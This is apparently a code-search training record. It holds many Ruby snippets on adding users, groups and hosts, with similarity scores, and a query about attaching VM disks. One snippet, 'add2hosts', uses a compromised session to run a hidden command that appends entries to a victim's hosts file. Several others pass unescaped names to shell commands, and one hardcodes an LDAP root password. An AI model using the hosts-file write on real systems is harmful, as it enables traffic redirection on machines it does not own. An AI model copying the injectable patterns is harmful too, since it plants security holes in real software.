[ "def add_new_groups(params = {})\n post(\"/groups\", params)\n end", "def hostgroup_add_member(hostnames: nil, params: {})\n raise ArgumentError, 'Hostnames is required' unless hostnames\n\n params[:all] = true\n\n params[:host] = hostnames if hostnames.kind_of?(Array)\n params[:host] = [hostnames] if hostnames.kind_of?(String)\n\n api_post(method: 'hostgroup_add_member', item: @hostgroup, params: params)\n end", "def add_group(*args)\n end", "def add_host(data)\n result = @client.api_request(\n :method => \"hostgroup.massAdd\", \n :params => {\n :groups => [{:groupid => data[:groupid]}],\n :hosts => data[:hostids].map { |h| {:hostid => h} }\n }\n )\n result ? result['groupids'][0].to_i : nil\n end", "def add_group(group, gid=nil)\n\t\t\tend", "def groupadd(group)\n # XXX I don't like specifying the path to groupadd - need to sort out paths before long\n send(run_method, \"grep '#{group}:' /etc/group || sudo /usr/sbin/groupadd #{group}\")\n end", "def add_group( group )\n type_check( group, Elements::Group )\n assert( !name_defined?(name), \"name [#{name}] is already in use\" )\n \n @groups[group.name] = group\n end", "def add_group(group, gid=nil)\n\t\t\t\tCfruby.controller.attempt(\"Adding group \\\"#{group}\\\"\", 'destructive') {\n\t\t\t\t\t# Only add the group if it's not already there\n\t\t\t\t\tif !group?(group)\n\t\t\t\t\t\tif(gid == nil)\n\t\t\t\t\t\t\t`/usr/sbin/pw groupadd '#{shellescape(group)}'`\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t`/usr/sbin/pw groupadd '#{shellescape(group)}' -g #{gid.to_i()}`\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t}\n\t\t\tend", "def add(group, name)\n if group.nil? or group.empty? or name.nil? or name.empty?\n raise MuError, \"Ansible::Inventory.add requires both a host group string and a name\"\n end\n lock\n read\n @inv[group] ||= []\n @inv[group] << name\n @inv[group].uniq!\n save!\n unlock\n end", "def add_hosts_group\n puppet_ip = any_hosts_as?(:loadbalancer) ? loadbalancer.ip : master.ip\n hosts_group = {\n \"name\" => \"Clamps Managed Hosts\",\n \"rule\" => [\"or\", [\"=\", %w[fact id], \"root\"]],\n \"parent\" => pe_infra_uuid,\n \"classes\" => {\n \"hosts\" => {\n \"purge_hosts\" => false,\n \"collect_all\" => true,\n \"host_entries\" => {\n \"puppet\" => { \"ip\" => puppet_ip }\n }\n }\n }\n }\n\n dispatcher.find_or_create_node_group_model(hosts_group)\nend", "def hostgroup_add(description: nil, all: false, params: {})\n raise ArgumentError, 'description is required' unless description\n\n params[:all] = all\n params[:description] = description\n\n api_post(method: 'hostgroup_add', item: @hostgroup, params: params)\n end", "def add_to_group(group_path, group_name)\n group = RubyAem::Resources::Group.new(@client, group_path, group_name)\n group.add_member(@call_params[:name])\n end", "def add_group(name)\n unless group_exists?(name)\n self.groups.create(:name => name)\n else\n raise GroupAlreadyExists, \"The group '\" + name + \"' already exists.\"\n end\n end", "def add_group(groupname, gid=nil)\n\t\t\t\tCfruby.controller.attempt(\"Adding group \\\"#{groupname}\\\"\", 'destructive') {\n\t\t\t\t\t`/usr/bin/niutil -create . /groups/#{groupname}`\n\n\t\t\t\t\tnewgroupid = gid\n\t\t\t\t\tif(newgroupid == nil)\n\t\t\t\t\t\tlastgid = `/usr/bin/nidump group . | /usr/bin/cut -d: -f3 | /usr/bin/sort -n | /usr/bin/tail -n 1`\n\t\t\t\t\t\tnewgroupid = lastgid.to_i() + 1\n\t\t\t\t\tend\t\t\t\t\n\n\t\t\t\t\t`/usr/bin/niutil -createprop . /groups/#{groupname} gid #{newgroupid}`\n\t\t\t\t\t`/usr/bin/niutil -createprop . /groups/#{groupname} users`\n\t\t\t\t}\n\t\t\tend", "def add_user_to_groups(user, groups)\n user_groups_operation(user, groups, :add)\n end", "def add_group( group )\n raise TypeError.new('not a group') unless group.is_a?(Ecore::Group)\n tmp_group_ids = self.group_ids.split(',')\n tmp_group_ids.delete(group.id)\n tmp_group_ids << group.id\n self.group_ids = tmp_group_ids.join(',')\n true\n end", "def add_group(user)\n cmd_args = [\"'#{user.group}'\"]\n cmd_args.unshift '--system' if user.is_system\n\n groupadd_args = cmd_args.join \"\\s\"\n groupmod_args = (cmd_args - [\"--system\"]).join \"\\s\"\n\n return <<-HERE.undent\n if getent group '#{user.group}' > /dev/null 2>&1; then\n /usr/sbin/groupmod #{groupmod_args}\n else\n /usr/sbin/groupadd #{groupadd_args}\n fi\n HERE\n end", "def add_group(group_id)\n\t\t\n\t\t# ADD ERROR CHECKING HERE FOR INVALID GROUP -> TEST\n\n\t\tself.group_list |= [group_id]\n\t\tself.update_attribute(:group_list, self.group_list)\n\t\t\n\tend", "def add_node_group( node, group )\n node_obj = self.get_node_obj( node )\n group = group.to_a\n \n # verify that group(s) exists in dashboard\n group.each do |g|\n unless NodeGroup.find_by_name(g)\n return \"SKIPPED: #{node_obj.name}. No group found for #{g}\"\n end\n end\n \n # obtaining dasboard group objects \n my_groups = []\n group.each { |n| my_groups << self.get_group_obj(n) }\n \n node_obj.node_groups = my_groups\n begin\n node_obj.save!\n return \"#{node_obj.name} added to group(s) #{group.inspect}\"\n rescue Exception => e\n return \"FAILED to add #{node_obj.name} to #{group.inspect} group: #{e.message}\"\n end\n \n end", "def addHost(host)\n\t\[email protected](host)\n\tend", "def add_host(new_host)\n @hosts.push(new_host)\n end", "def add\n @groups = CwaGroups.new\n\n user_name_regex = /^[a-zA-Z0-9-]{3,20}$/\n\n if params[:user_name] !~ ::CwaConstants::USER_REGEX\n flash[:error] = \"You entered an invalid username!\"\n redirect_to :action => :show, :group_name => params[:group_name]\n return\n end\n\n if @groups.add_to_my_group(params[:user_name], params[:group_name])\n CwaMailer.group_add_member(params[:user_name], params[:group_name]).deliver\n flash[:notice] = \"\\\"#{params[:user_name]}\\\" has been added to \\\"#{params[:group_name]}\\\"\"\n else\n flash[:error] = \"There was a problem adding \\\"#{params[:user_name]}\\\" to \\\"#{params[:group_name]}\\\". The user probably does not exist.\"\n end\n redirect_to :action => :show, :group_name => params[:group_name]\n end", "def add_group(group)\n login unless authenticated?\n existing_group = find_group(group['name'])\n return existing_group if existing_group\n group = JSON.parse(RestClient.post(resource_url('groups'), group.to_json, :content_type => :json, :cookies => @cookies).body)\n logger.info(\"Added group: #{group['name']}\")\n group\n end", "def add_group(group_name, filter_argument = nil)\n groups[group_name] = filter_argument\n end", "def add_hosts(hosts:)\n @hosts = @hosts.+ Array hosts\n\n self\n end", "def add_group_as_member(group)\n self.groups.push group\n end", "def group(name, &blk)\n add_child(:groups, Hubcap::Group.new(self, name, &blk))\n end", "def add_host(host)\r\n if host.class == String\r\n host = Regexp.new(host)\r\n end\r\n unless @hosts.include?(host)\r\n @hosts << host\r\n end\r\n end", "def add(group, members)\n @group[group] = members(group) | members\n end", "def add_user_to_group(user, group)\n\t\t\tend", "def add(name_, opts_={})\n @group._add(name_, opts_)\n end", "def add_group(key)\n key = key.to_sym\n if group_or_permission(key).nil?\n @groups[key] = PermissionGroup.new(@schema, self, key)\n else\n raise Error, \"Group or permission with key of #{key} already exists\"\n end\n end", "def <<(group) \n @groups[group.name] = group\n end", "def add_user_to_usergroup(group)\n groups = `getent group | grep #{group} | cut -d \":\" -f1`.split(\"\\n\").join(',')\n if groups.empty?\n @ui.error(\"Cannot add user to #{group} group. #{group} group not found\") if groups.empty?\n return ERROR_RESULT\n end\n run_command(\"sudo usermod -a -G #{group} $(whoami)\")[:value].success?\n end", "def add_settings_group(group, fields = [])\n settings_groups[group] ||= []\n settings_groups[group] = settings_groups[group] | fields\n end", "def add_to_group(group, param_name, value)\n if ! self.groups.include?(group)\n self.add(group, {})\n end\n self.params[group][param_name] = value\n end", "def add_to_group(group)\n self.memberships.create(group_id: group.id)\n end", "def add_users\n group_name = params[:name]\n @group = $iam.groups[group_name]\n\n respond_to do |format|\n if @group.exists? # check if group already exists, then add user\n @group.users.add($iam.users[\"Ayesha\"])\n @group.users.add($iam.users[\"Fawad\"])\n format.html { redirect_to \"/show_group/#{@group.name}\", notice: 'User is added.' }\n else\n format.html { redirect_to \"/show_group/#{@group.name}\", notice: 'Error' }\n end\n end\n\n end", "def add_user_group(email_address, group_id)\n user_dn = email_address\n group_dn = get_group_DN(group_id)\n\n filter = Net::LDAP::Filter.eq( \"cn\", group_id)\n\n Net::LDAP.open(@ldap_conf) do |ldap|\n group_found = ldap.search(:base => @group_base, :filter => filter).to_a()[0]\n if !group_found\n group_attrib = DEFAULT_GROUP_ATTRIBUTES.clone\n group_attrib.update({\n :cn => group_id,\n :objectclass => GROUP_OBJECT_CLASSES,\n GROUP_MEMBER_ATTRIBUTE => user_dn\n })\n\n if !ldap.add(:dn => group_dn, :attributes => group_attrib)\n raise ldap_ex(ldap, \"Could not add #{email_address} to new group #{group_id} using attributes: #{group_attrib}\")\n end\n else\n if !group_found[GROUP_MEMBER_ATTRIBUTE].index(user_dn)\n if !ldap.modify(:dn => group_dn, :operations => [[:add, GROUP_MEMBER_ATTRIBUTE, user_dn]])\n raise ldap_ex(ldap, \"Could not add #{email_address} to existing group #{group_id} using attributed '#{GROUP_MEMBER_ATTRIBUTE}' with LDAP base '#{@group_base}'\")\n end\n end\n end\n end\n end", "def add_to_group(group)\n raise 'InvalidGroup' unless group.respond_to?(:add_user)\n # just be lazy and hand off to the group to do the work...\n group.add_user(self)\n end", "def group_add(client, options)\n if options[:group].nil? or options[:email].nil?\n puts \"Missing arguments\"\n return\n end\n\n group = client.groups.get options[:group]\n account = get_account(client, options)\n\n if account.nil? or group.nil?\n puts \"Account or group not found\"\n return\n end\n\n account.add_group group\n puts \"Account added to group.\"\nend", "def add_group(user)\n # NB: system users aren't supported on solaris 10\n return <<-HERE.undent\n if ! getent group '#{user.group}' > /dev/null 2>&1; then\n /usr/sbin/groupadd '#{user.group}'\n fi\n HERE\n end", "def add_user_group_service_groups(opts = {})\n data, _status_code, _headers = add_user_group_service_groups_with_http_info(opts)\n data\n end", "def group(name)\n group = name if name.kind_of? Salticid::Group\n group ||= @salticid.group name\n group.hosts |= [self]\n @groups |= [group]\n group\n end", "def addGroup(groupName)\n\n groups = YAML.load_file(@GROUPSFILE)\n groups[groups.size.next] = groupName\n File.write(@GROUPSFILE, groups.to_yaml)\n return true\n end", "def add_app_group(group,app)\n\t\tresults = submit_cmd('create app group',:db,\" -env #{self.env} -domain #{self.domain} -plant #{self.plant} -group #{group} -app_instance #{app}\")\n\t puts results\n\tend", "def __add_to_group(entry_groups, group_name, entry)\n entry_groups[group_name] ||= []\n if entry[:chunks] == ['info'] # put the info stream in front\n entry_groups[group_name].prepend(entry)\n else\n entry_groups[group_name].append(entry)\n end\n end", "def add_user_to_group(default_group)\n if default_group.present?\n default_group.split(',').each do |group_name|\n if group = Group.named(group_name).first\n group.users << @user\n elsif logger\n logger.warn \"MailHandler: could not add user to [#{group_name}], group not found\"\n end\n end\n end\n end", "def add_user_to_group(user, group)\n send(run_method, \"groups #{user} | grep ' #{group} ' || sudo /usr/sbin/usermod -G #{group} -a #{user}\")\n end", "def add_ce_group\n self.refresh_access_token!\n\n haml_template = File.read(File.join(TEMPLATES_DIR, 'group.xml.haml'))\n request_body = Haml::Engine.new(haml_template, remove_whitespace: true).render(Object.new)\n\n @response = @oauth_access_token.post(\n 'https://www.google.com/m8/feeds/groups/default/full',\n {\n body: request_body,\n headers: {\n 'Content-type' => 'application/atom+xml',\n 'GData-Version' => '3.0'\n }\n }\n )\n\n group_id = GROUP_REGEX.match(@response.body)[1]\n\n @response.status == 201 ? group_id : nil\n end", "def add(g)\n\t\t\[email protected](&:reset_colour)\n\t\t\t@groups << g\n\t\tend", "def add_to_group plugin, group:\n group_sym = group.to_sym\n @groups[group_sym] ||= {}\n @groups[group_sym][plugin.to_s] = plugin\n end", "def add_group!( group )\n save if add_group( group )\n end", "def create_groups(groupnames)\r\n groupnames.map {|groupname| @logger.debug(\"Checking #{groupname} for existence...\")\r\n if get_groupid(groupname) == nil\r\n\t\t\t\[email protected](\"Looks like #{groupname} is empty, therefore creating it\")\r\n\t\t\t\tgroupobject = OpenNebula::Group.new(OpenNebula::Group.build_xml,@client)\r\n\t\t\t\trc = groupobject.allocate(groupname)\r\n\t\t\t\tif OpenNebula.is_error?(rc)\r\n \t\t\t\[email protected](\"Error occured while creating group: #{rc.message}\")\r\n \t\t end\r\n end\r\n }\r\n end", "def add_to_group(group_id, users)\n url = \"/groups/#{group_id}/members\"\n body = {\n members: users\n }\n post(url, body)\n end", "def groups=(value)\n @groups = value\n end", "def add_to_group(group, names, component)\n if names.length == 1\n group.components << ListItem.new(names.first, component)\n else\n add_to_group(group.subgroups[names.first], names[1..-1], component)\n end\n end", "def add_loadbalancer_groups\n if any_hosts_as?(:loadbalancer)\n loadbalancer_group = {\n \"name\" => \"HAProxy Loadbalancer\",\n \"rule\" => [\"or\", [\"=\", \"name\", loadbalancer.node_name]], # pinned node\n \"parent\" => pe_infra_uuid,\n \"classes\" => {\n \"profile::loadbalancer\" => {}\n }\n }\n\n dispatcher.find_or_create_node_group_model(loadbalancer_group)\n end\n\n return unless any_hosts_as?(:compile_master)\n\n lb_export_rules = [\"or\"]\n lb_export_rules += [compile_master].flatten.map do |server|\n [\"=\", \"name\", server.node_name]\n end\n\n loadbalancer_exports_group = {\n \"name\" => \"Loadbalancer Exports(Compile Masters)\",\n \"rule\" => lb_export_rules, # pinned node\n \"parent\" => pe_infra_uuid,\n \"classes\" => {\n \"profile::loadbalancer_exports\" => {}\n }\n }\n dispatcher.find_or_create_node_group_model(loadbalancer_exports_group)\nend", "def add_group(group_name, filter_argument = T.unsafe(nil), &filter_proc); end", "def add id, data, groups=[]\n id ||= uniq_id\n id = id.to_i\n @@users[id] = data.is_a?(Hash) ? data : {name: data}\n @@users[id][:id] = id\n @@users[id][:vars] = {}\n @@users[id][:groups]=groups.map { |e| e.to_s }\n update_groups @@users[id][:groups]\n end", "def add_group_members(members)\n logger.debug(\"#{new_resource} adding members #{members.join(\", \")}\") unless members.empty?\n members.each do |user|\n shell_out!(\"user\", \"mod\", \"-G\", new_resource.group_name, user)\n end\n end", "def add_openldap_group\n return unless any_hosts_as?(:openldap)\n\n openldap_group = {\n \"name\" => \"OpenLDAP Server\",\n \"rule\" => [\"or\", [\"=\", \"name\", openldap.node_name]], # pinned node\n \"parent\" => pe_infra_uuid,\n \"classes\" => {\n \"openldap::server\" => {\n \"databases\" => { \"dc=delivery,dc=puppetlabs,dc=net\" => {\n \"rootdn\" => \"cn=admin,dc=delivery,dc=puppetlabs,dc=net\",\n \"rootpw\" => \"Puppet11\"\n } }\n }\n }\n }\n\n dispatcher.find_or_create_node_group_model(openldap_group)\nend", "def add2hosts(session,record,hosts)\n\tip,host = record.split(\",\")\n\tprint_status(\"Adding Record for Host #{host} with IP #{ip}\")\n\tsession.sys.process.execute(\"cmd /c echo #{ip}\\t#{host} >> #{hosts}\",nil, {'Hidden' => true})\nend", "def associate_in_groups(user, org, groups)\n associate_user_with_org(org.name, user)\n groups.each do |group|\n add_user_to_group(org.name, user, group)\n end\n end", "def add_user_to_group(username, groupname)\n\t\t\t\tif !user?(username)\n\t\t\t\t\traise(NoSuchUserError, \"No such user: #{username}\")\n\t\t\t\tend\n\n\t\t\t\tif !group?(groupname)\n\t\t\t\t\traise(NoSuchGroupError, \"No such user: #{groupname}\")\n\t\t\t\tend\n\t\t\tend", "def add_pod_group(name)\n pods.groups.new('name' => name)\n end", "def add_user(newuser)\n @group_users.push(newuser)\n end", "def add( *args )\n args.each do |arg|\n case( arg )\n when Symbol\n @contents << arg unless @contents.include?( arg )\n when Component\n @contents << arg\n else\n raise \"Invalid host #{name} addition: #{arg.inspect}\"\n end\n end\n end", "def network_objects_add_host(rule_name,data)\n \n host_list = data.split(',')\n self.msg(rule_name, :debug, 'network_objects_add_host', \"host_list\" +host_list.to_s)\n host_list.each do |host|\n self.msg(rule_name, :debug, 'network_objects_add_host', \"processing host\" +host.to_s)\n \n @ff.link(:href, 'javascript:mimic_button(\\'add: ...\\', 1)').click\n @ff.select_list(:name, 'net_obj_type').select_value('8')\n \n if host.size > 0\n self.msg(rule_name, :debug, 'network_objects_add_host', \"set host\" +host)\n @ff.text_field(:name, 'hostname').set(host.strip)\n @ff.link(:text, 'Apply').click\n end\n \n end\n \n end", "def add_group(opts)\n raise ArgumentError, \"Expected Hash or Keepassx::Group, got #{opts.class}\" unless valid_group?(opts)\n\n if opts.is_a?(Keepassx::Group)\n # Assign parent group\n parent = opts.parent\n index = last_sibling_index(parent) + 1\n @groups.insert(index, opts)\n\n # Increment counter\n header.groups_count += 1\n\n # Return group\n opts\n\n elsif opts.is_a?(Hash)\n opts = deep_copy(opts)\n opts = build_group_options(opts)\n\n # Create group\n group = create_group(opts)\n\n # Increment counter\n header.groups_count += 1\n\n # Return group\n group\n end\n end", "def add_group(group, rule)\n return false unless rule.is_a?(Rule)\n @groups ||= {}\n (@groups[group] ||= []) << rule\n end", "def addUserToGroup\n @user_to_add = User.find(params[:user_to_add])\n @current_group = Group.find_by_id(session[:current_group_id])\n @user_to_add.groups << @current_group\n redirect_to findAvailableUsers_url, notice: 'User was successfully added.'\n end", "def create_group(groupname)\n current_path = '/api/v1/groups'\n payload = { 'group_name' => groupname }.to_json\n @conn.post(current_path, payload)\n end", "def add_nodegroups_to_nodegroups(child_groups, parent_groups, login, password_callback=PasswordCallback)\n # The server only supports setting a complete list of assignments for\n # a node group. So we need to retreive the current list of assignments\n # for each group, merge in the additional node groups that the user wants\n # added, and pass that off to set_nodegroup_nodegroup_assignments to perform\n # the update.\n # FIXME: This should talk directly to the node_group_node_groups_assignments\n # controller, so that we aren't exposed to the race conditions this\n # method currently suffers from.\n parent_groups.each_pair do |parent_group_name, parent_group|\n # Use a hash to merge the current and new members and\n # eliminate duplicates\n merged_nodegroups = child_groups\n\n if parent_group['child_groups']\n parent_group['child_groups'].each do |child_group|\n name = child_group['name']\n merged_nodegroups[name] = child_group\n end\n end\n\n set_nodegroup_nodegroup_assignments(merged_nodegroups, {parent_group_name => parent_group}, login, password_callback)\n end\n end", "def add_group_array(group)\n @groups.push(group) unless @groups.include?(group)\n end", "def add_members_to_group(team_id, group_id, user_ids)\n params = { query: [team_id, group_id, :members, :add], req: user_ids.to_array_obj(:users) }\n\n data = endpoint(name: 'TeamUserGroups', params: params).do_put\n\n resource 'TeamUserGroup', data\n end", "def group_add_members(emails:, external_group_id: nil, group_id: nil, trace: false)\n members = []\n emails.each do |e|\n members << \"{\\\"user\\\":{\\\".tag\\\":\\\"email\\\",\\\"email\\\":\\\"#{e}\\\"},\\\"access_type\\\":{\\\".tag\\\":\\\"member\\\"}}\"\n end\n group_query = if group_id.nil?\n \"{\\\"group\\\":{\\\".tag\\\":\\\"group_external_id\\\",\\\"group_external_id\\\":\\\"#{external_group_id}\\\"},\\\"members\\\":[#{members.join(',')}]}\"\n else\n \"{\\\"group\\\":{\\\".tag\\\":\\\"group_id\\\",\\\"group_id\\\":\\\"#{group_id}\\\"},\\\"members\\\":[#{members.join(',')}]}\"\n end\n # puts group_query\n dropbox_query(query: '2/team/groups/members/add', query_data: group_query, trace: trace)\n end", "def host( *args )\n props = args.last.is_a?( Hash ) && args.pop || {}\n name = args.first.is_a?( String ) && args.shift\n props = props.merge( name: name ) if name\n raise \"Missing required name parameter\" unless props[ :name ]\n host = @hosts[ props[ :name ] ] ||= Host.new( self )\n host.merge_props( props )\n host.add( *args )\n host\n end", "def add(name, ugid, homedir)\n fail 'user already exists' if include?(name)\n syscmd(\"groupadd -g #{ugid} #{name}\")\n syscmd(\"useradd -u #{ugid} -g #{ugid} -d #{homedir} -c #{COMMENT} #{name}\")\n exclusively { users[name] = ugid }\n end", "def groups(*args)\n end", "def add(*args)\n params = { name: nil, group: nil, length: 128, value: nil, force: false }\n case args.length\n when 1\n # add('foo')\n params[:name] = args.first\n when 2\n if args.all? { |a| a.is_a?(String) }\n # add('my_app', 'foo')\n params[:group], params[:name] = args\n elsif args[1].is_a?(Hash)\n # add('my_app', value: 'something')\n # add('foo', length: 50)\n params[:name] = args.first\n params.merge!(args[1])\n end\n when 3\n # add('my_app', 'foo', value: 'something')\n # add('my_app', 'foo', length: 50)\n params[:group], params[:name] = args[0], args[1]\n params.merge!(args[2])\n else\n raise ArgumentError, \"wrong number of arguments (given #{args.length}, expected 1-3)\"\n end\n\n add_from_params(params)\n end", "def add_projects_to_group(team_id, group_id, project_ids)\n params = { query: [team_id, group_id, :projects, :add], req: project_ids.to_array_obj(:projects) }\n\n data = endpoint(name: 'TeamUserGroups', params: params).do_put\n\n resource 'TeamUserGroup', data\n end", "def host name, security_groups, runlist, options={}\n host_namespace = HostRecord.define name, security_groups, runlist, options\n CloudRunner.add_component host_namespace\n end", "def initialize_host_groups\n self.host_groups = settings['host_groups'].split(',').flatten.compact.map(&:strip).uniq.map { |group_name | HostGroup.find_or_create(:name => group_name.strip) }\n end", "def enable_group(*groups, except: nil)\n set_service_groups_status(true, *groups, except: except)\n end", "def add(params)\n from, to = params[:from], params[:to]\n hosts[from] = to\n end", "def add_user_to_group(users_to_group_request, opts = {})\n data, _status_code, _headers = add_user_to_group_with_http_info(users_to_group_request, opts)\n data\n end", "def group(*groups)\n @current_groups = groups\n\n yield\n\n ensure\n @current_groups = nil\n end", "def update_group(desc, type, group, value)\n method = type.to_s.sub(/s$/, '_groups')\n old_value = desc.send(method).include?(group)\n if old_value && !value\n desc.send(method).delete(group)\n elsif !old_value && value\n desc.send(method).push(group)\n end\n end", "def groups(*groups); end", "def groups(*groups); end", "def add_user_group(group_id, user_email)\n group = Group.find(group_id)\n if group\n user = get_user_discourse(user_email)\n if user\n #if user isn't already in group, add user\n if !GroupUser.find_by(group_id: group.id, user_id: user.id)\n group.add(user)\n end\n end\n end\n end", "def contact_add_to_group(contact_id, group_id)\n response = xmlrpc('ContactService.addToGroup', contact_id, group_id)\n end", "def hosts\n Put.warn \"\\nStarted configuring ansible hosts.......\\n\"\n @ansible.groups.each do |group|\n Put.info \"Adding group [#{group['name']}]\"\n\n response = Rest::SubutaiConsole.command(\"echo [#{group['name']}] >> /etc/ansible/hosts\", @environment.ansible_host_id, \"/root\",\"1000\", @url, @token)\n status(response)\n\n group['hostnames'].each do |hostname|\n container = find(hostname)\n Put.info \"Adding hosts #{container.containerName} to group [#{group['name']}]\"\n\n if group.key?('python-interpreter')\n response = Rest::SubutaiConsole.command(\"echo \\\"#{container.containerName} ansible_user=root template=#{hostname} ansible_ssh_host=#{container.ip} ansible_python_interpreter=#{group['python-interpreter']}\\\" >> /etc/ansible/hosts\",\n @environment.ansible_host_id,\n \"/root\",\n \"360000\",\n @url, @token)\n status(response)\n else\n response = Rest::SubutaiConsole.command(\"echo \\\"#{container.containerName} ansible_user=root template=#{hostname} ansible_ssh_host=#{container.ip}\\\" >> /etc/ansible/hosts\",\n @environment.ansible_host_id,\n \"/root\",\"360000\",\n @url, @token)\n status(response)\n end\n end\n end\n end", "def addRule(hosts,\n proto: \"tcp\",\n port: nil,\n egress: false,\n port_range: \"0-65535\"\n )\n rule = Hash.new\n rule[\"proto\"] = proto\n if hosts.is_a?(String)\n rule[\"hosts\"] = [hosts]\n else\n rule[\"hosts\"] = hosts\n end\n if port != nil\n port = port.to_s if !port.is_a?(String)\n rule[\"port\"] = port\n else\n rule[\"port_range\"] = port_range\n end\n ec2_rule = convertToEc2([rule])\n\n begin\n if egress\n MU::Cloud::AWS.ec2(region: @config['region'], credentials: @config['credentials']).authorize_security_group_egress(\n group_id: @cloud_id,\n ip_permissions: ec2_rule\n )\n else\n MU::Cloud::AWS.ec2(region: @config['region'], credentials: @config['credentials']).authorize_security_group_ingress(\n group_id: @cloud_id,\n ip_permissions: ec2_rule\n )\n end\n rescue Aws::EC2::Errors::InvalidPermissionDuplicate => e\n MU.log \"Attempt to add duplicate rule to #{@cloud_id}\", MU::DEBUG, details: ec2_rule\n end\n end", "def addMembers (group_id, user_id)\n \tm = GroupUser.new(:group_id => @group_id, :user_id => @user_id)\n \tm.save\n end", "def qos_add_host(rule_name,data)\n host_list = data.split(',')\n self.msg(rule_name, :debug, 'qos_add_host', \"host_list\" +host_list.to_s)\n host_list.each do |host|\n self.msg(rule_name, :debug, 'qos_add_host', \"processing host\" +host.to_s)\n @ff.link(:href, 'javascript:mimic_button(\\'add: ...\\', 1)').click\n @ff.select_list(:name, 'net_obj_type').select_value('8')\n if host.size > 0\n self.msg(rule_name, :debug, 'qos_add_host', \"set host\" +host)\n @ff.text_field(:name, 'hostname').set(host.strip)\n @ff.link(:text, 'Apply').click\n end\n end\n end", "def add_vm_to_vm_group(vm, vm_group_name)\n DrsLock.new(@vm_attribute_manager, DRS_LOCK_VMGROUP ).with_drs_lock do\n vm_group = find_vm_group(vm_group_name)\n logger.debug(\"VmGroup: #{vm_group_name} already exists\") unless vm_group.nil?\n\n vm_group_spec = VimSdk::Vim::Cluster::VmGroup.new\n vm_group_spec.vm = vm_group ? vm_group.vm.concat([vm]) : [vm]\n vm_group_spec.name = vm_group_name\n\n group_spec = VimSdk::Vim::Cluster::GroupSpec.new\n group_spec.info = vm_group_spec\n\n group_spec.operation = vm_group ? VimSdk::Vim::Option::ArrayUpdateSpec::Operation::EDIT : VimSdk::Vim::Option::ArrayUpdateSpec::Operation::ADD\n\n config_spec = VimSdk::Vim::Cluster::ConfigSpecEx.new\n config_spec.group_spec = [group_spec]\n\n logger.debug(\"Adding VM to VM group: #{vm_group_name}\")\n reconfigure_cluster(config_spec)\n end\n end", "def modify_image_launch_perm_add_groups(image_id, user_group=['all'])\n modify_image_attribute(image_id, 'launchPermission', 'add', :user_group => user_group.to_a)\n end", "def addMembers (group_id, user_id)\n \tm = GroupUser.new(:group_id => group_id, :user_id => user_id)\n \tm.save\n end" ]
[ "0.68681824", "0.6770978", "0.6735424", "0.6659156", "0.6440352", "0.64264405", "0.63937706", "0.63391197", "0.629191", "0.62590903", "0.6233617", "0.6229149", "0.6226344", "0.6211744", "0.62107027", "0.6054811", "0.60118145", "0.59988844", "0.5995727", "0.59905773", "0.598267", "0.5968895", "0.591662", "0.5896774", "0.58649474", "0.58449155", "0.5832916", "0.5803593", "0.5795936", "0.5760855", "0.57584023", "0.57426643", "0.57382524", "0.57179785", "0.5710043", "0.570673", "0.56798595", "0.56633663", "0.5640135", "0.561285", "0.5608963", "0.5603832", "0.5598661", "0.55953056", "0.55945027", "0.5565346", "0.55404204", "0.5540143", "0.55300653", "0.5496843", "0.5480745", "0.5479091", "0.54688364", "0.5468233", "0.54680467", "0.5465564", "0.54587084", "0.54562217", "0.5453491", "0.54473436", "0.5427999", "0.5422961", "0.54227126", "0.54187816", "0.53941", "0.5374575", "0.5365325", "0.5362362", "0.53621715", "0.5360179", "0.53560114", "0.53330946", "0.5327306", "0.53131866", "0.52957803", "0.5292123", "0.52917695", "0.52848977", "0.52820873", "0.5277384", "0.52744526", "0.52706003", "0.5268131", "0.526422", "0.5264169", "0.52538145", "0.52469194", "0.5238503", "0.52377856", "0.52369493", "0.52369493", "0.52257556", "0.52248955", "0.52180666", "0.52053577", "0.52035", "0.51978534", "0.51873916", "0.51769876", "0.5174517" ]
0.7607118
0
Add disk to the virtual machine ==== Attributes +server+ Server object +size+ Disk size in bytes ==== Examples add_disk(server, 5) Add a 5GB disk add_disk(server, 10) Add a 10GB disk
def add_disk(server, size) host = server.to_s # Increment disk id if !DISKS.key?(host) then DISKS[host] = 0 else DISKS[host] += 1 end disk_id = DISKS[host] disk_filename = ".vagrant/disks/" + host + "_" + disk_id.to_s + ".vdi" server.vm.provider "virtualbox" do |v| # Create disk if it not exist unless File.exist?(disk) v.customize ["createhd", "--filename", disk_filename, "--size", size * 1024 * 1024] end v.customize ['storageattach', :id, '--storagectl', 'SATA Controller', '--port', disk_id, '--device', 0, '--type', 'hdd', '--medium', disk] end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_hdd_to_vbox_vm(client_name,vbox_disk_name)\n message = \"Attaching:\\tStorage to VM \"+client_name\n command = \"VBoxManage storageattach \\\"#{client_name}\\\" --storagectl \\\"#{$vbox_disk_type}\\\" --port 0 --device 0 --type hdd --medium \\\"#{vbox_disk_name}\\\"\"\n execute_command(message,command)\n return\nend", "def attach_disk(server_id, disk_id)\n with_thread_name(\"attach_disk(#{server_id}, #{disk_id})\") do\n server = @openstack.with_openstack { @openstack.compute.servers.get(server_id) }\n cloud_error(\"Server `#{server_id}' not found\") unless server\n\n volume = @openstack.with_openstack { @openstack.volume.volumes.get(disk_id) }\n cloud_error(\"Volume `#{disk_id}' not found\") unless volume\n\n device_name = attach_volume(server, volume)\n\n update_agent_settings(server) do |settings|\n settings['disks'] ||= {}\n settings['disks']['persistent'] ||= {}\n settings['disks']['persistent'][disk_id] = device_name\n end\n end\n end", "def attach_disk(disk)\n # Adding a new disk in newer vSphere versions\n # automatically cleans all system snapshots\n # https://github.com/OpenNebula/one/issues/5409\n if snapshots? || one_snapshots?\n error_msg = 'Existing sytem snapshots, cannot change disks. '\n error_msg << 'Please remove all snapshots and try again'\n raise error_msg\n end\n\n spec_hash = {}\n device_change = []\n\n # Extract unmanaged_keys\n unmanaged_keys = disk_keys\n vc_disks = vcenter_disks_get\n\n # Check if we're dealing with a StoragePod SYSTEM ds\n storpod = disk['VCENTER_DS_REF'].start_with?('group-')\n\n # Check if disk being attached is already connected to the VM\n raise 'DISK is already connected to VM' if disk_attached_to_vm(\n disk, unmanaged_keys, vc_disks\n )\n\n # Generate vCenter spec and reconfigure VM\n add_spec = calculate_add_disk_spec(disk)\n device_change << add_spec\n raise 'Could not generate DISK spec' if device_change.empty?\n\n extra_key = \"opennebula.mdisk.#{disk['DISK_ID']}\"\n extra_value = add_spec[:device].key.to_s\n\n 